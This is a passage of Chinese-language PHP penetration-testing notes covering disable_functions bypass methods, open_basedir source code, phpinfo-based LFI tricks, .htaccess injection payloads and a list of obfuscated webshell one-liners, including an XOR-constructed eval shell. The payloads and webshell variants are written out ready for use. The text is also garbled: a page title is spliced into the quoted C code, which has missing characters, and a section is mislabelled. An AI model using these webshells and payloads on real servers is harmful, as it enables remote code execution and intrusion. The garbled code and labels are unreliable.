因为这个实现机制的原因,在PHP启动后通过 ini_set 来修改 disable_functions 或 disable_classes 是无效的 。
4.1.3.2. Bypass
- LD_PRELOAD绕过
- PHP OPcache
- Mail函数
- imap_open
4.1.4.1. 机制实现
PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:
PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;
/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
pathbuf = estrdup(PG(open_basedir))
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '';
end++;
}
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
【php代码渗透测试 后门分析篇】}
ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
4.1.5. phpinfo相关漏洞
4.1.5.1. Session.Save
PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session 。从phpinfo中可获得session位置
4.1.5.2. Session.Upload
php.ini默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取 。
那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用 。
4.1.5.3. /tmp临时文件竞争
phpinfo中可以看到上传的临时文件的路径,从而实现LFI
4.1.6. htaccess injection payload
4.1.6.1. file inclusion
利用 auto_prepend_file 和 include_path
4.1.6.2. code execution
php_value auto_append_file .htaccess
#<?php phpinfo();
4.1.6.3. file inclusion
- php_flag allow_url_include 1
- php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
- #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
- #php_value auto_append_file /evil-code.txt
php_flag zend.multibyte 1
php_value zend._encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
4.1.6.5. Source code disclosure
php_flag engine 0
4.1.7. WebShell
4.1.7.1. 常见变形
- GLOBALS
- eval($GLOBALS['_POST']['op']);
- $_FILE
- eval($_FILE['name']);
- 拆分
- assert(${"_PO"."ST"} ['sz']);
- 动态函数执行
- $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
- create_function
- $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
- preg_replace
- rot13
- 进制转化
- "\x62\x61163\x65\x36\x34137144145\x63\x6f144145"
- 利用文件名
- __FILE__
- ucwords
- ucfirst
- trim
- substr_replace
- substr
- strtr
- strtoupper
- strtolower
- strtok
- str_rot13
- call_user_func_array
- call_user_func
- array_filter
- array_walk
- array_map
- registregister_shutdown_function
- register_tick_function
- filter_var
- filter_var_array
- uasort
- uksort
- array_reduce
- array_walk
- array_walk_recursive
PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell 。
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
推荐阅读
- VScode设置格式化php代码插件
- 黑客渗透提权过程解析
- 对于PHP开发常见的问题总结
- 反渗透净水器,到底该选有罐机还是无罐机
- 网站渗透测试 对网站安全防护解析漏洞详情
- 面试官:代码中 if…else 过多的问题,这几种方案帮你优化代码
- python渗透库大集合
- 附代码 微信小程序实例:如何获取和渲染数据
- 最基础的Python知识,学会这些已足够你开始写Python代码了
- python爬取贴吧网页源代码